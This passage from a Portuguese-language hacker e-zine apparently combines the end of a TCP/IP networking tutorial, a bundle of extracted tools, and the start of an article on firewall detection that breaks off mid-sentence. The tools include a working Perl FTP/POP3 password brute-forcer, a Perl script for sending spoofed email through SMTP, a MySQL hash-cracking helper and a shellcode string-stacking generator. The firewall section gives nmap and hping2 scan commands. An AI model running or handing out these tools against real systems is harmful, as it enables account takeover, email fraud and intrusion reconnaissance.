comprimento total - comprimento do datagram medido em octetos, 16 bits identificacao - eh necessario pra montagem dos outros fragmentos do datagrama,16 bits flags - indica se houve ou nao fragmentacao, 3 bits offset de fragmento - indica a posicao de montagem no datagrama original, 13 bits tempo de vida - tempo maximo que um datagrama(pacote) pode andar na rede, 8 bits protocolo - indica o protocolo usado para transportar os dados, 8 bits checksum do cabecalho - identifica erros por meio de um calculo que eh verificado quando o pacote chega, 16 bits endereco de origem & endereco de destino - sao os enderecos IP do emissor e destinatario, 32 bits opcoes - contem opcoes de verificacao de erros, medicao ou testes, tendo tamanho variavel padding - garante q o comprimento do cabecalho(IHL) seja sempre multiplo de 32(bits), tamanho variavel. Para tais pacotes poderem circular na rede eh necessario um endereçamento, por exemplo: quando uma estacao numa rede quer passar um pacote pra outra estacao em outra rede o roteador toma suas acoes baseado nos enderecos IP das estacoes e das redes, esses enderecos sao palavras(chaves) de 32 bits ou seja tem 4 octetos de 8 bits, e sao separados por classes para facilitar o enderecamento da estacao e da rede em questao, a questao das classes eh um assunto muito mal interpretado pelas pessoas, podemos de uma maneira bem simples determinar a classe de um endereco IP; Ex.: Para entender completamente esse assunto eh necessario saber transformar numerosdecimais em binarios (para isso tem um txt no meu site > skynet45.motdlabs.org/dicas.html que ensina passo a passo a fazer isso). Temos o IP: 200.125.68.102 Levamos em consideracao o primeiro octeto de bits, ou seja o primeiro numero do endereco IP, no nosso caso eh "200", entao seguimos um padrao: Classe A = 1 - 127 Classe B = 128 - 191 Classe c = 192 - 223 Estas são as mais conhecidas, tem tambem as classe D que eh usada pra multicast como radios on-line, e a classe E q eh usada pra pesquisas. Explicacao Geral: Endereco IP 32bits / | | \ / | | \ / | | \ 8bits+8bits+8bits+8bits | | | | 256 + 256 + 256 + 256 | | | | Endereco IP ---> 200 . 125 . 68 . 102 Quando temos enderecos de classe C, pode-se variar na determinacao de IP para as estacoes, apenas o ultimo octeto de numeros, podendo variar entre 1-254. Ex.: 192.168.1.* |_> 1-254 Classe B 182.168.*.* | |_> 1-254 | |_> 1-254 Classe A 10.*.*.* | | | | | |_> 1-254 | |_> 1-254 |_> 1-254 Agora voce se pergunta, se eu posso variar com um numero de 8 bits por que nao ateh 255? Simples, por padrao o primeiro e ultimo endereco dos IP sao determinados especialmente, o primeiro que eh o 0(zero) determina a rede que o IP estah, e o ultimo 255 serve pra acoes de broadcast(significa toda a rede), se voce pingar o endereco: 192.168.1.255 vc ira verificar quais as maquinas q estao ativas na rede 192.168.1.0, visto que o 0(zero) determina o IP da rede. Talvez nao tenha ficado claro, mas com o tempo se pega a pratica. Para mais tarde quem sabe em outro texto entendermos profundamente o processo de roteamento serah muito necessario aprender com clareza essas classes e como funcionam :). Existe tambem uma diferenca entre endereco fisico e endereco IP das maquinas na rede. O endereco fisico da estacao eh chamada de MAC, endereco este armazenado pelo fabricante da placa, jah o endereco IP da estacao eh setado pelo proprio usuario ou pelo administrador da rede em questao; A diferenca quanto ao MAC eh que este nao pode ser mudado, jah o IP sim, mas existem alguns documentos soltos poraih que provam que existem enderecos MACs iguais e que eles podem ser mudados. Para numa rede a conversacao das maquinas ocorrer elas tem ter uma tabela com enderecos MAC e IP das outras, para haver esse mapeamente utiliza-se o protocolo ARP (Adress Resoluiton Protocol), muitos confudem ARP com RARP, existe diferencas, o ARP eh quando a estacao tem o endereco IP de seu destino e quer obter o endereco MAC do destino, jah o RARP eh quando ela tem o endereco MAC de uma estacao e quer obter o endereco IP dessa maquina destino. OBs.:Todas essas mensagens sao feitas em broadcast. *********************** 2º Camada - Transporte* *********************** Dentro da arquitetura que estamos estudando temos dois protocolos que sao destinados a transporte de dados, que sao: o TCP (Transmition Control Protocol) e o UDP (User Datagram Protocol) ambos se encontram na mesma camada (tranporte), todos os dois sao destinados a transferencia de dados p2p (ponto-a-ponto) dependendo da qualidade do servico requerido pela camada inferior(aplicacao). Apesar do TCP e o UDP terem a mesma funcao, eles tem casos distintos para serem utilizados, visto o TCP ser orientado a conexao, estabelece uma conexao direta com o destino, ele se destina a conexoes que exigem uma maior qualidade do servico, sem perda de pacotes e sem nenhum erro, jah o UDP eh um protocolo extremamente rapido mas nao oferece a confianca do TCP, o UDP eh muito usado em VPNs onde se precisa muito de velocidade. Uma coisa bem interesante eh que o TCP e o UDP utilizam um metodo de transporte em conjunto com o protocolo IP, eles utilizam um tipo de multiplexacao com o IP, as mensagem a serem transmitidas pelos protocolos de transporte sao enviadas ao protocolo IP onde sao transmitidas pela rede. Um ponto tambem muito importante que faz parte da camada de rede eh o uso de portas(ports) na comunicao entre estacoes, essas portas sao representadas por numeros inteiros que significam as aplicacoes correspondetes no sistema operacional, essas portas existem tanto no TCP como no UDP e toda comunicao eh feita atraves dessas portas. Exemplos de portas sao: 22 - SSH, 25 - SMTP, 80 - HTTP, etc. Tem uma figurinha aih pra enteder melhor a multiplexacao do TCP e do UDP sobre o IP: Aplicacoes ------- ------- ------- |Porta 1| |Porta 2| |Porta n| ------- ------- ------- \ | / \ | / \ | / \ | / \ | / \ | / --------------------- | Multiplexacao | | TCP/IP | --------------------- | ----------- | | | IP | | | ----------- | < Rede > ------------------------------------------> OBS.: Ao pacote multiplexado chegar ao destino, ele sofre o processo inverso, ou seja uma desmultiplexacao. Com certeza o TCP eh bem abragente, mas ainda tem umas caracteristicas bem interesantes que podemos destacar no todo. Alem da multiplexacao de dados, ele tambem trabalha de forma em que recebe e manda dados ao mesmo tempo (full -duplex), tambem tem prioridade em dados urgentes setando uma indicativa de urgencia no pacote; para fins de seguranca na entrega ele posui uma segmentacao que eh utilizada na montagem do pacote; Caso ele tenha sido desfragmentado, existe tambem o checksum que eh um calculo matematico feito com base nos dados enviados e eh checado a cada entrega, podemos destacar ainda o estabelicemento e liberacao da conexao feita por ele, o conhecido handshake, ou aperto de maos, (three-way handshake) antes de enviar qualquer dado pela rede, ele estabelece uma conexao direta com o destino (por isso chamado de orientado a conexao), e eh liberada apenas quando se termina a transferencia. Obs. apesar do handshake ser bem simples, mas para entender mais sobre o handshake tem uns txts muito bons, como um do Jerry Slater, acho q tem um do REPOLHO tambem falando sobre o nmap que aborda isso. O UDP nao tem tantas boas 'qualidades' como o TCP, por nao ser orientado a conexao ele se torna entao um mecanismo de entrega de dados, provido apenas da multiplexacao feita com o IP, ele nao oferece nenhuma garantia de entrega de dados ou seja os pacotes podem ser perdidos, dulpicados ou ateh entregues fora da ordem, um datagrama UDP pode ou nao ter o campo de checksum, tendo ele todos os datagramas recebidos com erro sao jogados fora. (descartados) ************************ 1º Camada - Aplicacoes * ************************ As aplicacoes numa rede tcp/ip nao tem nenhum tipo de padronizacao em comum, cada aplicacao tem seu proprio padrao dentro da arquitetura e essas aplicacoes acessam diretamente a sua camada superior. Lembra qual eh? A camada de transporte pelo TCP ou pelo UDP! A unica coisa importante eh a compatibilidade no formato dos dados usados nestas aplicacoes com os varios sistemas diferentes presentes em redes tcp/ip. Vimos aih em cima na camada de transporte que o tcp/ip utiliza o conceito de portas, essas portas sao definidas de acordo com a aplicacao em questao, TCP ou UDP, essas portas tem o mesmo numero independente da estacao onde esta sendo executada. Concluimos aih que se voce tiver o numero da porta e o IP da maquina em questao voce pode localizar qualquer aplicacao dentro de uma rede tcp/ip! Sei que isso parece horrivel mas eh assim q se comeca ;). Pra podermos desenvolver aplicacoes pro tcp/ip temos que entender algumas primitivas de acesso, gosto de chamalos de 'comandos', mas como sempre que eu digo algo vem alguem e diz que eh outra coisa, entao vc chama do que vc quiser :). Voltando, quando qualquer aplicacao quer estabelecer uma conexao, a aplicacao executa um primitiva dessas, chamadas de 'sockets'. O objetivo disso eh criar um estado de espera no sistema local, tambem eh executada uma primitiva 'bind', essa grava o numero da porta associada a aplicacao em questao. Temos primitivas diferentes no TCP e no UDP. No TCP, por exemplo, quando uma aplicacao tem funcao de servir algo, (servidora) ela executa a primitiva 'listen' na qual tem funcao de colocar o sistema em condicao de espera por conexoes, a aplicacao cliente executa outra primitiva, 'connect,' na qual tem funcao de solicitar e estabelecer a conexao com a aplicacao servidora, na sequencia a aplicacao servidora executa 'accept' para finalizar o estabelecimento da conexao, durante a transmissao dos dados ambas usam as primitivas 'send' 'receive', estebelecida essa conexao nao eh mais necessario o uso do endereco IP e o numero da porta destino, visto que as mensagens trafegam sempre pela conexao estabelecida entre esse 'caminho' criado, isso acontece por que o TCP eh orientado a conexao, lembra? :) Jah no UDP que um protocolo que nao eh orientado a conexao as primitivas 'listen', 'accept', 'connect' NAO EXISTEM. Sendo assim, uma vez executadas as primitivas 'socket' e 'bind' as aplicacoes passam a trocar informacoes entre si usando as primitivas 'sendto' 'recvfrom', nessas estah incluso o endereco IP dos destino, visto nao haver nenhuma ligacao direta entre os destinos. Dentro dessas aplicacoes existentes pra facilitar o uso das redes tcp/ip estao: RPC, XDR, SMTP, FTP, NFS, TELNET, SNMP, DNS. Se o meu texto nao tive-se ficado tao grande ainda abordaria um pouco mais sobreessas aplicacoes mas isso pode ser feito vide outros textos como: NL_snmp_hacking.pdf --> SNMP pras Massas (NashLeon) TELNET --> http://hallz.motdlabs.org/textos/telnet.txt (hallucination) e etc...... O estudo dessas aplicacoes eh muito importante, na minha opiniao o DNS principalmente, a importancia dele eh tanta que ao configurar um servidor, se o DNS nao estiver corretamente configurado NADA funciona! Pretendo mais a frente escrever algo sobre ele. ********************* Finalizando:::..... * ********************* Bom! O objetivo desse humilde texto foi poder dar uma visao geral da coisa heheh. Ou seja, poder familiariza-lo com o que rola no tcp/ip. Com certeza voce pode aprender algo aqui, pois o maior incetivo que tive pra escrever txts foi: "nao importa o que vc escreve, alguem sempre aprende algo disso". Se voce jah conhecia um pouco da arquitetura da nossa amada internet, deve ter visto que muitos por ai quando vao falar de tcp/ip, misturam OSI no meio. Aqui eu procurei abordar somente o tcp/ip, agora se vc quiser aprender de OSI procure em outro lugar. Ficaria muito grato se criticas fossem feitas, afinal nao podemos melhorar sem criticas "construtivas". Agradeco a galera do grupo por manter vivo o que aprendi a pouco tempo mas tambem pretendo manter vivo pra alguem, hacking etico! That's All Folks People!!! Referencias: Arquiteturas de Redes de Computadores - Makron Books ( Patrocinio EMBRATEL) MUITO BOM! TCP/IP Tutorial and Technical Overview - IBM ( IBM RedBooks) E dicas de amigos....................... <++> ferramentas/adivinheitor.pl #!/usr/bin/perl # Adivinheitor v0.1 # MOTD Labs ( http://www.motdlabs.org ) # coded by inferninh0 (inferninho@motdlabs.org) # Descricao: Brute Force para ftp e pop3 #### use Socket; use Net::FTP; use Net::POP3; ## Main Code #### &banner; print "Daemon: "; $servico = ; chomp ($servico); ### FTP if ($servico eq "ftp") { &inicia(); if ($ftp = Net::FTP->new($host, Timeout =>5, Errmode => "return")) { &conectado(); } else { &n_conectado(); } while ($name = ) { chomp ($name); open (IN2, $password); while ($pass = ) { chomp ($pass); &cool(); if ($passin = $ftp->login($name, $pass)) { $ftp->quit(); &resultado(); } } close (IN2); } &nda(); $ftp->quit(); } ### POP3 elsif ($servico eq "pop3") { &inicia(); if ($pop = Net::POP3->new($host, Timeout =>10)) { &conectado(); } else { &n_conectado(); } while ($name = ) { chomp ($name); open (IN2, $password); while ($pass = ) { chomp ($pass); &cool(); if ($pop->login($name, $pass)) { $pop->quit(); &resultado(); } } close (IN2); } $pop->quit(); &nda(); } elsif (($servico ne "ftp") or ($servico ne "pop3")) { print "\nDaemon invalido, use ftp ou pop3...;-)\n"; } ## Sub #### sub banner { system("clear"); print "\t\t\tAdivinheitor v0.1\n"; print "\t\t\t~~~~~~~~~~~~~~~~~\n\n\n"; } print; sub inicia { print "Hostname: "; $host = ; chomp ($host); $str= inet_aton($host) or die ("\nHost $host nao encontrado... Programa fechado"); $address_in=inet_ntoa($str); print "Arquivo Username : "; $username=; chomp ($username); print "Arquivo Password : "; $password = ; chomp ($password); print "\n"; open (IN1, $username) or die "O arquivo username nao existe\n"; open (IN2, $password) or die "O arquivo password nao existe\n"; close (IN2); } sub conectado { print "conectado em $host...\n\n";} sub n_conectado { die ("Falha na conexao... daemon esta inativo...:-(\n");} sub nda { print "\nNenhuma conta valida encontrada...:-(\n\n"; close (IN1); sleep (2);} sub cool { print "Username: "; print $name; print " Password: "; print $pass; print "\n";} sub resultado { print "\n-[+]--------------Resultado----------------[+]-\n\n"; print " Username valido : $name\n"; print " Password valido : $pass\n"; sleep (2); close (IN1); close (IN2); die "\n-[+]--------------Resultado----------------[+]-\n\n";} <--> ferramentas/adivinheitor.pl <++> ferramentas/dns.c /* * Narcotic Domain Name Resolver (nao tinha um nomezinho melhor nao?) * * compilar no linux --> gcc -o dns dns.c -DLINUX * compilar no windows --> cl /DWIN32 dns.c /link ws2_32.lib */ #include #include #ifdef WIN32 #include #endif #ifdef LINUX #include /* gethostbyname, gethostbyaddr, etc */ #include /* definicao do struct in_addr */ #endif #define TAMBUF 1024 void usage(char *programname) { printf("Narcotic Domain Name Resolver ---\n"); printf("Copyright (c) - 2003 by Narcotic \n"); printf("Uso: %s \n\n",programname); } void debuging(struct hostent *h) { int i = 0; printf("Hostname: %s\n", h->h_name); while (h->h_aliases[i]) printf("Alias: %s\n", h->h_aliases[i++]); switch (h->h_addrtype) { case AF_INET: case AF_INET6: for (i = 0; h->h_addr_list[i]; ++i) printf("Address: %u.%u.%u.%u\n", (0xff & h->h_addr_list[i][0]), (0xff & h->h_addr_list[i][1]), (0xff & h->h_addr_list[i][2]), (0xff & h->h_addr_list[i][3])); } } int resolve(char *s,FILE *fp) { struct hostent *hp; unsigned long a; a = inet_addr(s); if(a != INADDR_NONE) { if((hp = gethostbyaddr((char *)&a, sizeof(a), AF_INET)) == NULL) { fprintf(stderr,"Impossivel resolver %s\n",s); return -2; } fprintf(fp,"%s\n",hp->h_name); debuging(hp); return 0; } if((hp = gethostbyname(s)) != NULL) { debuging(hp); fprintf(fp,"%u.%u.%u.%u\n", (0xff & hp->h_addr[0]), (0xff & hp->h_addr[1]), (0xff & hp->h_addr[2]), (0xff & hp->h_addr[3])); return 0; } return -1; } int main(int argc, char **argv) { char buf[TAMBUF]; char *infile, *outfile; FILE *infp, *outfp; int cnt; #ifdef WIN32 WORD wVersionRequested; WSADATA wsaData; int err; wVersionRequested = MAKEWORD( 2, 0 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) return -1; #endif /* #ifdef WIN32 */ if(argc < 2) { usage(argv[0]); return -1; } infile = argv[1]; outfile = argv[2]; infp = fopen(infile,"r"); if(!infp) { fprintf(stderr,"Erro ao abrir o arquivo %s. Programa encerrado!\n",infile); return -2; } outfp = fopen(outfile,"w"); while(fgets(buf,TAMBUF,infp) != NULL) { /* remover \r\n */ cnt = strlen(buf); if(buf[cnt - 1] == '\n') cnt--; if(buf[cnt - 1] == '\r') cnt--; if(cnt == 0) continue; buf[cnt] = '\0'; resolve(buf,outfp); } fclose(infp); fclose(outfp); printf("Programa terminado!!!\n"); return 0; } <--> ferramentas/dns.c <++> ferramentas/empilha.c /* * Empilhador de strings - Copyright 2004 by Narcotic * * * Esse programa cria codigo p/ empilhar strings na pilha e ser usada num shellcode * Uso: empilha [-o] [-s sintaxe] [-r registrador] string * -o imprime os opcode * -s sintaxe sintaxe usada [att/intel] * -r registrador registrador q vai receber o end da string * (eax, ebx, ecx ou edx) * * Ex de uso: empilha -s intel -o -r edx ABCDEF * * * Por padrao o programa assume o uso do registrador eax e da sintaxe INTEL * */ #include #include #ifndef false #define false 0 #define true 1 #endif enum { ATT, INTEL }; #define PUSHA "pushl $" #define PUSHI "push " char *registers[] = { "eax", "ebx", "ecx", "edx" }; /**** construcao dos opcodes p/ o shellcode ****/ /* Esse codigo cuida apenas de alguns opcodes, limitados aos */ /* q o programa gera p/ empilhar a string, sao eles: */ /* mov, xor, push e shr */ /* cada registrador eh representado por 3 bits */ enum { EAX, /* 000 */ ECX, /* 001 */ EDX, /* 010 */ EBX, /* 011 */ ESP /* 100 */ }; typedef union _instruction { unsigned char bytes[4]; unsigned int opcode; } instruction; typedef struct _command { instruction inst; unsigned char *data; unsigned char *dissasm; struct _command *next; } command; /* 0011 0011 11 reg reg */ #define XOR_REGISTER 0x33C0 /* move valor imediato p/ registrador */ /* 1011 w reg : dados */ #define MOV_REGISTER_DATA 0xB0 /* 1000 1011 11 reg reg */ #define MOV_REGISTER_REGISTER 0x8BC0 /* tamanho dos operadores - 1 byte sig 16 bits */ #define OPERAND_SIZE 0x66 /* 0101 0 reg */ #define PUSH_REGISTER 0x50 /* 0110 1000 : dados */ #define PUSH_IMMEDIATE 0x68 /* 1100 0001 1110 1 reg : dados */ #define SHR_REGISTER_IMM 0xC1E8 /* macros */ #define XOR_RR(reg1,reg2) (XOR_REGISTER | (reg1 << 3) | reg2) #define SHR_RI(reg) (SHR_REGISTER_IMM | reg) #define MOV_RI32(reg) (MOV_REGISTER_DATA | 0x08 | reg) #define MOV_RI16(reg) ((OPERAND_SIZE << 8) | (MOV_REGISTER_DATA | 0x08 | reg)) #define MOV_RI8(reg) (MOV_REGISTER_DATA | reg) #define MOV_RR(reg1,reg2) (MOV_REGISTER_REGISTER | (reg1 << 3) | reg2) #define PUSH_R(reg) (PUSH_REGISTER | reg) #define PUSH_I() (PUSH_IMMEDIATE) int main(int argc, char **argv) { int len; char *str, *reg, *push; char reg_opcode; char buff[64] = { 0 }; char *param; int sintaxe, i; int print_opcodes; command *tmp, *actual, *list = NULL; if(argc < 2) { printf("Empilhador de strings 32-bit para 80x86\n"); printf("Copyright (c) by Narcotic \n"); printf(" Uso: empilha [-o] [-s sintaxe] [-r registrador] string\n"); printf(" -o imprime os opcode\n"); printf(" -s sintaxe sintaxe usada [att/intel]\n"); printf(" -r registrador registrador q vai receber o end da string\n"); printf(" (eax, ebx, ecx ou edx\n\n"); return -1; } /* valores assumidos por padrao */ reg = registers[0]; /* EAX */ reg_opcode = EAX; sintaxe = INTEL; print_opcodes = false; /* trata a entrada */ for(i = 1; i < argc; i++) { if(argv[i][0] == '-') { switch(argv[i][1]) { case 'o': print_opcodes = true; break; case 's': if((i + 1) == argc) { printf("argumento invalido \"-s\": falta sintaxe\n"); return -1; } param = argv[i + 1]; if(strcmp(param,"att") == 0) sintaxe = ATT; else if(strcmp(param,"intel") == 0) sintaxe = INTEL; else { printf("argumento invalido \"-s\": sintaxe inexistente\n"); return -1; } break; case 'r': if((i + 1) == argc) { printf("argumento invalido \"-r\": falta registrador\n"); return -1; } param = argv[i + 1]; if(param[0] == 'e' && param[2] == 'x') { int reg_num = param[1] - 'a'; if(reg_num >= 0 && reg_num < 4) { reg = registers[reg_num]; switch(reg_num) { case 0: reg_opcode = EAX; break; case 1: reg_opcode = EBX; break; case 2: reg_opcode = ECX; break; case 3: reg_opcode = EDX; break; } } else { printf("argumento invalido \"-r\": registrador desconhecido\n"); return -1; } } else { printf("argumento invalido \"-r\": registrador desconhecido\n"); return -1; } break; default: /* nao eh ultimo parametro *string* */ if(i != argc - 1) { printf("parametro desconhecido\n"); return -1; } } } } str = argv[argc - 1]; len = strlen(str); /* aloca memoria p/ o primeiro elemento da nossa lista */ list = (command *)malloc(sizeof(command)); list->next = NULL; actual = tmp = list; /* apenas 4 caracteres podem ser empilhados por vez */ switch(len % 4) { /* nossa string eh multipla de 4 */ /* nao faz nda */ case 0: break; /* esta sobrando um byte */ /* carrega ele em xl (al, bl, cl..) */ case 1: tmp->inst.opcode = MOV_RI8(reg_opcode); tmp->data = (char *)malloc(2 * sizeof(char)); strcpy(tmp->data,str + len - 1); if(sintaxe == INTEL) sprintf(buff,"mov %cl, 0x%02X",reg[1],str[len - 1]); else sprintf(buff,"movl $0x%02X, %%%cl",str[len - 1],reg[1]); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); break; /* 2 bytes sobrando */ /* joga em xx (ax, bx, cx..) */ case 2: tmp->inst.opcode = MOV_RI16(reg_opcode); tmp->data = (char *)malloc(3 * sizeof(char)); strcpy(tmp->data,str + len - 2); if(sintaxe == INTEL) sprintf(buff,"mov %cx, 0x%02X%02X",reg[1],str[len - 1],str[len - 2]); else sprintf(buff,"movl $0x%02X%02X, %%%cx",str[len - 1],str[len - 2],reg[1]); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); break; /* 3 bytes sobrando -- aki a coisa complica */ /* precisamos mover 3 bytes e nao deixar sobrar 0x00 */ /* entao dividimos em 2 instrucoes, um mov com 3 bytes + 1 byte de lixo */ /* e um shr, q vai tirar o lixo p/ gente e depois empilha :) */ case 3: tmp->inst.opcode = MOV_RI32(reg_opcode); tmp->data = (char *)malloc(5 * sizeof(char)); strcpy(tmp->data,str + len - 3); strcat(tmp->data,"\xFF"); if(sintaxe == INTEL) sprintf(buff,"mov %s, 0x%02X%02X%02XFF",reg,str[len - 1],str[len - 2],str[len - 3]); else sprintf(buff,"movl $0x%02X%02X%02XFF, %%%s",str[len - 1],str[len - 2],str[len - 3],reg); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); actual = tmp; tmp = (command *)malloc(sizeof(command)); tmp->next = NULL; actual->next = tmp; tmp->inst.opcode = SHR_RI(reg_opcode); tmp->data = (char *)malloc(2 * sizeof(char)); strcpy(tmp->data,"\x08"); if(sintaxe == INTEL) sprintf(buff,"shr %s, 8",reg); else sprintf(buff,"shr $0x8, %%%s",reg); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); break; } /* push p/ intel ou p/ AT&T */ if(sintaxe == INTEL) push = PUSHI; else push = PUSHA; actual = tmp; /* coloca o xor como o primeiro na lista */ tmp = (command *)malloc(sizeof(command)); tmp->next = list; list = tmp; tmp->inst.opcode = XOR_RR(reg_opcode,reg_opcode); tmp->data = NULL; if(sintaxe == INTEL) sprintf(buff,"xor %s, %s",reg,reg); else sprintf(buff,"xorl %%%s, %%%s",reg,reg); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); if(len % 4) { tmp = (command *)malloc(sizeof(command)); tmp->next = NULL; actual->next = tmp; } else tmp = actual; tmp->inst.opcode = PUSH_R(reg_opcode); tmp->data = NULL; /* empilha o registrador contendo o final da string */ if(sintaxe == INTEL) sprintf(buff,"push %s",reg); else sprintf(buff,"pushl %%%s",reg); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); actual = tmp; /* string de cabeca p/ baixo */ for(i = len - (len % 4) - 4; i >= 0; i -= 4) { tmp = (command *)malloc(sizeof(command)); tmp->next = NULL; actual->next = tmp; tmp->inst.opcode = PUSH_I(); tmp->data = (char *)malloc(sizeof(char) * 5); memcpy(tmp->data,str + i,4); tmp->data[4] = 0; sprintf(buff,"%s0x%02X%02X%02X%02X",push,str[i + 3],str[i + 2],str[i + 1],str[i]); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); actual = tmp; } /* move o end da string p/ registrador */ tmp = (command *)malloc(sizeof(command)); tmp->next = NULL; actual->next = tmp; tmp->inst.opcode = MOV_RR(reg_opcode,ESP); tmp->data = NULL; if(sintaxe == INTEL) sprintf(buff,"mov %s, esp",reg); else sprintf(buff,"movl %%esp, %%%s",reg); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); for(tmp = list; tmp; tmp = tmp->next) { if(print_opcodes) { if(tmp->inst.bytes[1]) sprintf(buff,"\\x%02X\\x%02X",tmp->inst.bytes[1],tmp->inst.bytes[0]); else sprintf(buff,"\\x%02X",tmp->inst.bytes[0]); if(tmp->data != NULL) { len = strlen(tmp->data); for(i = 0; i < len; i++) sprintf(buff,"%s%\\x%02X",buff,tmp->data[i]); } printf("% -24s /* ",buff); } printf("%s",tmp->dissasm); if(print_opcodes) printf(" */"); printf("\n"); } return 0; } <--> ferramentas/empilha.c <++> ferramentas/falsificator.pl #!usr/bin/perl # Falsificator v 0.1 -> programa para envio de fakemail # MOTD Labs -----------> http://www.motdlabs.org # coded by inferninh0 (inferninho@motdlabs.org) ### print STDERR "\n-[+]--------------------------------[+]-\n"; print STDERR " Falsificator by inferninh0\n"; print STDERR "-[+]--------------------------------[+]-\n"; use IO::Socket; my ($HOST,$MAIL,$RCPT,$SUBJECT,$MSG); print "\n[+] Servidor SMTP: "; chomp($HOST=); print "[+] Mail Remetente: "; chomp($MAIL=); print "[+] Mail Destinatario: "; chomp($RCPT=); print "[+] Assunto: "; chomp($SUBJECT=); print "[+] Arquivo contendo a menssagem: "; chomp($MSG=); open(INFO, $MSG); @msg = ; my $socket = IO::Socket::INET->new( PeerAddr => "$HOST", PeerPort => "25", Prot => "tcp" ); die "Nao foi possivel criar a socket\n" unless $socket; if ($socket) { print $socket "helo localhost\n" or die "SERVIDOR NAO VULNERAVEL...:("; sleep 1; print $socket "mail from: $MAIL\n" or die "SERVIDOR NAO VULNERAVEL...:("; sleep 1; print $socket "rcpt to: $RCPT \n" or die "SERVIDOR NAO VULNERAVEL...:("; sleep 1; print $socket "data\n" or die "SERVIDOR NAO VULNERAVEL...:("; sleep 1; print $socket "From: $MAIL\n" or die "ERRO NO ENVIO DA MSG...:("; sleep 1; print $socket "To: $RCTP\n" or die "ERRO NO ENVIO DA MSG...:("; sleep 1; print $socket "Subject: $SUBJECT\n" or die "ERRO NO ENVIO DA MSG...:("; sleep 1; print $socket "\n"; sleep 1; print $socket "@msg\n" or die "ERRO NO ENVIO DA MSG...:("; sleep 1; print $socket "\n"; sleep 1; print $socket ".\n" or die "ERRO NO ENVIO DA MSG...:("; sleep 1; } close ($socket); close(INFO); print "\n[+] Fakemail enviado...=D\n\n"; exit; <--> ferramentas/falsificator.pl <++> ferramentas/mysql_passwd.c /* * Crack MySQL passwords with wordlist. * by Narcotic - * */ #include #include typedef unsigned char uchar; typedef unsigned long ulong; /* * riped of MySQL source code * file: libmysql/password.c */ void hash_password(ulong *result, const char *password) { register ulong nr = 1345345333L, add=7, nr2=0x12345671L; ulong tmp; for (; *password ; password++) { if (*password == ' ' || *password == '\t') continue; /* skipp space in password */ tmp = (ulong) (uchar) *password; nr ^= (((nr & 63)+add)*tmp)+ (nr << 8); nr2 += (nr2 << 8) ^ nr; add += tmp; } result[0] = nr & (((ulong) 1L << 31) -1L); /* Don't use sign bit (str2int) */ result[1] = nr2 & (((ulong) 1L << 31) -1L); } void print_hash(char *pass) { ulong result[2]; hash_password(result,pass); printf("0x%8x%8x\n",result[0],result[1]); } int main() { char str[10]; int i; str[1] = 0; for(i = 240; i < 255; i++) { str[0] = i; print_hash(str); } return 0; } <--> ferramentas/mysql_passwd =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[14]-=[Detecção de Firewalls]-=|c4ri0c4|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Detecção de Firewalls - By C4ri0c4 Embora não seja assunto para Kid, mas invasores mais atentos que busca realmente um alvo, com certeza na enumeração que antever uma investida, ele vai tentar mapear os dispositivos de uma rede alvo, buscando conhecer a real topologia do alvo. Assim sendo, detectar firewall é sem sombra de dúvidas necessário. Hoje com um simples traceroute em muito casos contando o valor de TTL que retorna de um alvo e verificando o número de salto em muito caso é perceptivel que houve a manipulação do datagrama durante seu trajeto o que notoriamente identificar um firewall, mas o objetivo desse artigo é falta das possibilidades ativas, em suma, as técnicas comumente utilizadas para identificar firewalls. Varredura com Datagrama TCP/ACK Este método avançado é usado identificar firewalls Stateful ou um Packet Filter (firewalls que atuam na camada 3, camada IP denominados filtro de pacotes) . O conceito dessa técnica é aproveitar que um datagrama TCP/ACK orfão (que não pertença a nenhum comunicação estabelecida) teria como resposta RST tanto em uma porta aberta como fechada. Dessa forma se um RST voltar as portas estão classificados como "não filtrados". Se nada volta (ou se um ICMP tipo 3 unreachable for retornado), a porto é classificado como "filtrado", o Nmap envia inicialmente 2 pacote rebendo como resposta TCP/RST ele assume que a porta não esta filtrada, recebendo um ICMP tipo 3 está filtrada, não recebendo nada ele envia uma sequência com mas 4 pacotes e não tendo resposta mais uma vez assume que as portas estão filtradas. Dentro desse cenário encontramos algumas váriações possíves de detecção de firewall. Seria elas varreduras TCP/Windows, FIN/ACk, SYN/ACK, sendo as duas primeira implementadas no Nmap e ultima é facilmente provado seu conceito com o hping2. Irei falar da outras técnicas # nmap -sA ip.ip.ipp Usando o Hping # hping2 ip.ip.ip.ip --ack -p 22 -c 2 Varredura da janela do interruptor: Esta varredura avançada é muito similar à varredura do ACK, pois é realizada com um pacote TCP/ACK, objetivando identificar dessa vez portas protegidas por sistemas de firewal l e não portas abertas. O Nmap envia inicialmente duas sequências não tendo resposta envia mas 4, não tendo resposta assume que existe firewall, todavia qdo o pacote é rejeitado e o sistema de Firewall devolvo um ICMP tipo 3 no inicio da exploração fica fácil determinar que a porta esta filtrada qdo volta um TCP/RST o scanner interpreta que não existe firewall, ou seja a porta não esta filtrada Exemplicando # nmap -sW ip.ip.ip.ip Varredura FIN/ACK =============== Enbora tenha o bi FIN ativo os pacotes TCP enviados iram ter o comportamento similar a varredura TCP/ACK, todavia é mais forma interessante de identificação de firewall, tendo ainda a possibilidade de não ser detectado por um sistema que esta condicionado a detectar varreduras onde somente o tenhamos o flag ACK ativo. # nmap -sM ip.ip.ip.ip # hping2 ip.ip.ip.ip --fin --ack -p -c 3 Varreduras SYN/ACK ================= Nessa técnica é utilizada como como 